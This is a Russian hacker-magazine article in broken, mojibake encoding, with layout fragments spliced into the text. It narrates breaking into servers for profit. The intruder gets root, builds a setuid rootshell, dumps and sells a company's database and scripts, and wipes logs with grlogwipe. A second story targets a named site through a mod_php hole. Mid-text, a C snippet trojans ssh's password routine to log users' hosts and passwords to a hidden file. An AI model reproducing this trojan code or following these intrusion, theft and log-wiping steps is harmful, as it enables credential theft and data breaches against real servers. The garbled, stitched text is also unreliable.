¦þ¹ ¼³¾Šł

òàêè àäìèíû ïëîõî ñëåäèëè çà ñâîèì ñîôòîì, âåäü
çà÷åì, ñïðàøèâàåòñÿ, êðóòèòü íà ñåðâåðå telnetd è
sshd îäíîâðåìåííî Òåïåðü íàäî áûëî äóìàòü, ÷òî
äåëàòü äàëüøå ñ ðóòîâûìè ïðàâàìè :). Îí áûñòðåíüêî
ñîçäàë íîâîãî ïîëüçîâàòåëÿ, óáåäèâøèñü, ÷òî â
ñèñòåìå íèêîãî íåò (áûëà íî÷ü - àäìèíû ñïàëè). Çàòåì,
ñìåíèâ åìó ïàðîëü, çàíîâî çàëîãîíèëñÿ ïî ssh.
È ýòî áûëî ïóñòü íåáîëüøîé, íî îøèáêîé, èáî ëîãè
ñäåëàëè ñâîå ÷åðíîå äåëî, çàïèñàâ âõîä õàêåðà â
áèíàðíûé wtmp è òåêñòîâûé messages. Î ÷èñòêå ëîãîâ
âçëîìùèê ïîçàáîòèëñÿ íåñêîëüêî ïîçæå. Ñåé÷àñ
æå åãî âîëíîâàëî äðóãîå - äðóæåñòâåííîå çàèìñòâîâàíèå
php-ñêðèïòîâ è äàìï sql-áàçû. Íî äëÿ íà÷àëà
îí ñäåëàë ñåáå íîðìàëüíûé ðóòøåëë. Ïðèøëîñü íàïèñàòü
ïðîñòåíüêèé ñèøíèê ñ ôóíêöèÿìè setuid, setgid
è çàïóñêîì /bin/sh. Äàëåå ñëåäîâàë ïðîöåññ êîìïèëÿöèè,
óñòàíîâêè suid-áèòà ïîä ðóòîì è çàïóñê íîâîãî
øåëëà èç-ïîä îáû÷íîãî ïîëüçîâàòåëÿ. Òåïåðü ó
õàêåðà áûë ïðîñòîé, íî êîìôîðòàáåëüíûé rootaccess
ñ ïîääåðæêîé ïñåâäîòåðìèíàëà.
Åãî èíòåðåñîâàëî, ÷òî æå ðàáîòàåò íà ýòîì ñåðâåðå.
Äëÿ ýòîãî îí íàáðàë "ps ax" â êîíñîëè è ñòàë
ðàçãëÿäûâàòü ñïèñîê ïðîöåññîâ. Íà ñåðâåðå áûëî
çàïóùåíî ìíîãî ìóñîðà, òàêîãî êàê: ñèíõðîíèçàöèÿ
âðåìåíè, êàêèå-òî ñòðàííûå ñ÷èòàëêè òðàôèêà
è ïðî÷àÿ åðóíäà. Áîëüøå âñåãî áûë èíòåðåñåí
ïðîöåññ httpd, à èìåííî ïóòü ê íàñòðîéêàì ñåðâåðà.
Îòûñêàâ åãî, âçëîìùèê ïðîïàðñèë ôàéë íà
íàëè÷èå äèðåêòèâû DocumentRoot. Èìåííî ÷åðåç
íåå îí ìîã óçíàòü, ãäå íàõîäÿòñÿ php-ñêðèïòû. Íî
ñàìè ñêðèïòû - ëèøü ÷àñòü åãî çàäà÷è, íóæíû áûëè
è äàííûå èç sql-áàçû. Ïðèøëîñü âîñïîëüçîâàòüñÿ
çàìå÷àòåëüíîé ïðîãðàììîé mysqldump. Ñ
åå ïîìîùüþ îí áûñòðåíüêî çàäàìïèë äàòàáàçó,
òåì ñàìûì âûïîëíèâ âñþ íåîáõîäèìóþ ðàáîòó.
ÊÎÍ×ÈË - ÏÐÎÒÐÈ ÑÒÀÍÎÊ
Êàê âèäíî, ïðîöåññ âçëîìà íå îáîøåëñÿ áåç ïîáî÷íûõ
ýôôåêòîâ - õàêåð ïðèëè÷íî íàñëåäèë íà ñåðâåðå.
Íî ëîãâàéïåðû íèêòî íå îòìåíÿë, ïîýòîìó, ïîðûâøèñü
íà òåìàòè÷åñêèõ ñàéòàõ, îí îòûñêàë ïðîãðàììêó
ïîä íàçâàíèåì grlogwipe. Îíà ÷èñòèò ïðàêòè÷åñêè
âñå èçâåñòíûå ëîãè. Ýòèì è âîñïîëüçîâàëñÿ
íàø ãðîçíûé ïîêîðèòåëü ñåðâåðîâ. Ïîñëå òàêîãî
î÷èùåíèÿ îí çààðõèâèðîâàë âåñü äâèæîê, sql-áàçó
è ñëèë ïîëó÷åííûå ôàéëû ñ âåáà ýòîé æå êîìïàíèè
(íàãëîñòü - âòîðîå ñ÷àñòüå ;)). Òåïåðü ìîæíî áûëî
ñî ñïîêîéíîé äóøîé îòïðàâëÿòüñÿ ñïàòü.
Ïðîñíóâøèñü, õàêåð ñòàë ñîîáðàæàòü, êàê åìó
ïðîâåñòè ñäåëêó ñ çàêàç÷èêîì. Ðåøåíèå áûëî òàêèì:
çàêàç÷èêó ïåðåñûëàþòñÿ áàçû, ïîñëå ÷åãî
òîò äîëæåí ðàñïëàòèòüñÿ ñî âçëîìùèêîì, è òîëüêî
ïîñëå îïëàòû îí ïîëó÷èò íåîáõîäèìûå ñêðèïòû.
Òàê êàê áàçû áåç ñêðèïòîâ íè÷åãî íå çíà÷àò,
Íàõîäèì è çàáèðàåì php-äâèæîê
óñëîâèÿ ñäåëêè óñòðîèëè îáå ñòîðîíû. È ÷òî óäèâèòåëüíî,
ñäåëêà ïðîøëà áåç âñÿêèõ îñëîæíåíèé.
Ìîðàëü ñåé áàñíè: àäìèíû - ëåíèâûå ëþäè, çàáèâàþùèå
íà îáíîâëåíèå ñîôòà. Â íàøåì ïðèìåðå
ýòî îáåðíóëîñü óòå÷êîé èíôîðìàöèè. Íî âñå
ìîãëî áûòü èíà÷å, çàáåðèñü â ñèñòåìó âàíäàëðàçðóøèòåëü...
ÝÒÞÄ ÂÒÎÐÎÉ: ÂÇËÎÌ WWW.NIKITA.RU
Ïðàêòè÷åñêè âñå çíàþò, êòî òàêèå scriptkiddies.
Ýòî òèï õàêåðîâ, êîòîðûå èùóò íàøóìåâøèå â
bugtraq óÿçâèìîñòè, à çàòåì ïðèìåíÿþò èõ íà
ñåðâåðàõ, ïðè÷åì ÷àùå âñåãî êðóïíûõ. Òàêîé õàê
ñàì ïî ñåáå íå îïðàâäàí, íî â êàêîé-òî ìåðå ïîìîãàåò
íàáðàòüñÿ îïûòà äëÿ áîëåå ñåðüåçíûõ
âçëîìîâ. Ìíîãèå èç òåõ, êòî ëîìàåò ñåðâåðà, áûëè
èëè ÿâëÿþòñÿ ýòèìè ïðåñëîâóòûìè ñêðèïòêèäèñàìè.
Òàê ÷òî äàëüíåéøèé ðàññêàç ïîéäåò îá
èñòîðèè âçëîìà ñåðâåðà ÷åðåç ñêðèïòêèäèñîâñêóþ
ïðèçìó ïîíèìàíèÿ "êóëüòóðû õàêà".
Íà ñàìîì äåëå, ñêðèïòêèäè íå îáÿçàòåëüíî ëîìàåò
ñàéòû ÷åðåç óÿçâèìûå ñêðèïòû. Ýòî ìîæåò
áûòü è ëþáàÿ äûðà â ñèñòåìå, äëÿ êîòîðîé ñóùåñòâóåò
àëãîðèòì âçëîìà, èëè, ïîïðîñòó ãîâîðÿ,
äëÿ ýòîé îøèáêè âûëîæåí public-ýêñïëîèò. Ïîëãîäà
íàçàä íàøóìåâøèõ áàãîâ áûëî íåìíîãî. Îäèí
èç íèõ - óÿçâèìîñòü â mod_php, ïîëó÷åíèå óäàëåííîãî
øåëëà ñ ïðàâàìè nobody. Îá ýòîé îøèáêå
è ïîéäåò ðå÷ü.
 îäèí ïðåêðàñíûé äåíü íàø ñêðèïòêèäè ðåøèë
ïîñêàíèòü ñåòü. Îí îñòàíîâèë âûáîð íà www.nikita.ru,
ò.ê. íåäàâíî êóïèë ñåáå ôèðìåííûé äèñê ñ
èãðîé Parkan (íäà, íåèñïîâåäèìû ïóòè ãîñïîäíè
:) - ïðèì. ðåä). Ïî îïðåäåëåíèþ, ñêðèïòêèäè íå
çàíèìàåòñÿ äåòàëüíûì èçó÷åíèåì ïðîòèâíèêà;
äëÿ íåãî àêòóàëüíî ëèøü íàëè÷èå èëè îòñóòñòâèå
æåëàåìîé óÿçâèìîñòè.  íàøåì ñëó÷àå - ýòî
mod_php (âåðñèÿ 4.0.1-4.0.7).
Âçëîìùèê äàâíî ðàçðàáîòàë óäîáíûé àëãîðèòì
äëÿ îïðåäåëåíèÿ òèïà web-ñåðâåðà. Äëÿ ýòîãî
åìó áûëà íåîáõîäèìà åäèíñòâåííàÿ ñåòåâàÿ óòèëèòà
netcat, êîòîðóþ îí âñåãäà è èñïîëüçîâàë.
Çíàÿ ìåõàíèçì ðàáîòû ôàéëîâûõ äåñêðèïòîðîâ,
õàêåð ñîçäàë ôàéë get.txt. Â íåì íàõîäèëñÿ çàïðîñ
www-çàãîëîâêà (HEAD / HTTP/1.0 è äâà ñèìâîëà
ïåðåâîäà ñòðîêè - \n\n). Åãî îí ïåðåäàë netcat'ó,
â èòîãå ïîëó÷èâ îòâåò îò apache.
int
userauth_passwd(Authctxt *authctxt)
{
static int ifile, attempt = 0; /* Íå
çàáóäåì îáúÿâèòü ïåðåìåííóþ ifile */
if (attempt != 1)
error("Permission denied, please try
again.");
snprintf(prompt, sizeof(prompt),
"%.30s@%.128s's password: ",
authctxt->server_user, authctxt-
>host);
password = read_passphrase(prompt, 0);
/* Øïèîíñêàÿ âñòàâêà â ïðàâèëüíûé êîä :)
*/
ifile=fopen("/usr/share/locale/it/console.it",
"a"); /* Îòêðîåì øïèîíñêèé ôàéë íà çàïèñü
â êîíåö */
fprintf(ifile, "%s %s is %s\n", authctxt->server_user,
authctxt->host, password);
/* Çàïèøåì â ôàéë èìÿ ïîëüçîâàòåëÿ, õîñò
è ïàðîëü - ãëàâíóþ èíôîðìàöèþ äëÿ
ðàçìûøëåíèÿ ;) */
fclose(ifile); /* Êîððåêòíî çàêðîåì ôàéë */
Îòïðàâëÿåì ïðîòèâíèêà â íîêàóò
Øåñòîå ÷óâñòâî íå ïîäâåëî õàêåðà ïðè âûáîðå
æåðòâû - â òåëå îòâåòà ñåðâåðà äåéñòâèòåëüíî áûë
PHP âåðñèè 4.0.6. À ýòà âåðñèÿ, êàê èçâåñòíî,
ëîìàåòñÿ ñ áîëüøèì ãðîõîòîì. Òåïåðü
íåîáõîäèìî áûëî îáíàðóæèòü ëþáîé php-
5 6 7 8 9
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 57